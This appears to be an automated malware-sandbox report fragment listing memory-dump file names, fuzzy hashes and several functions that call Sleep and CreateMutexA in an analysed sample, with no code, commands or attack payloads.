Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 52b11f2e9fde89b1e401a9242cfbd6152def20701558edd90e3dffe3b520a52b
Instruction ID: 7bdf22a6665fceb74576f572e3ea99661af71a310954eef7600348af56065e18
Opcode Fuzzy Hash: 52b11f2e9fde89b1e401a9242cfbd6152def20701558edd90e3dffe3b520a52b
Instruction Fuzzy Hash: 78314871A801049BFB189B7CCC85B6DBB66DBC6324F244619E814D77E1C77A9980AB13

Function 00F4A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0e88ae28191477d525945f16a875f11fd488a1d5d76e4f6f7c34643a405ce4b5
Instruction ID: 39dd625677568cd8d0a0494f526702a838bf70baf01e7f6bd448c185e45ba618
Opcode Fuzzy Hash: 0e88ae28191477d525945f16a875f11fd488a1d5d76e4f6f7c34643a405ce4b5
Instruction Fuzzy Hash: E7316A71A401409BEB089B7CDC89B5DBB66EBC6324F204619E804D72E1D77A9AC0A712

Function 00F4A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 76d06df7804f95ba40ebc3219d7a09a8efcc2863323c1aa04376d6a37596140a
Instruction ID: c21dd15416631b2fa7f04728edb1d76169b83e2cfab3c877b76dd2147af90fda
Opcode Fuzzy Hash: 76d06df7804f95ba40ebc3219d7a09a8efcc2863323c1aa04376d6a37596140a
Instruction Fuzzy Hash: 18318C31A401008BEB08DB7CCC89B6DBB62DF86324F248619E814D76F5D7B959C0A753

Function 00F4A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 376bb8d4fcf7c0c41beccaef7de030d8ec4b90ad25050c938734596f8845814c
Instruction ID: de178370a6175f082a53fad5efaedb3f5691b8b88d30e439bdf168040bcef427
Opcode Fuzzy Hash: 376bb8d4fcf7c0c41beccaef7de030d8ec4b90ad25050c938734596f8845814c
Instruction Fuzzy Hash: DA318C71A401008BEB08DB7CCD85B6DBB66DFC6328F248619E804DB2D1CB798980A713

Function 00F4A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ab4f31df81cf05a30bfcba37125d14bbfdd5947daaa812d2fd1d5664df81d83e
Instruction ID: 044fcef10260cf589bc130e4b6c3baad41b2661e2487a6f87ecc06109ea5de55
Opcode Fuzzy Hash: ab4f31df81cf05a30bfcba37125d14bbfdd5947daaa812d2fd1d5664df81d83e
Instruction Fuzzy Hash: F3317771A802048BEB18DB7CCC89B6DBB76DF82324F248619E814D77E1C7799980E713

Function 00F49ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
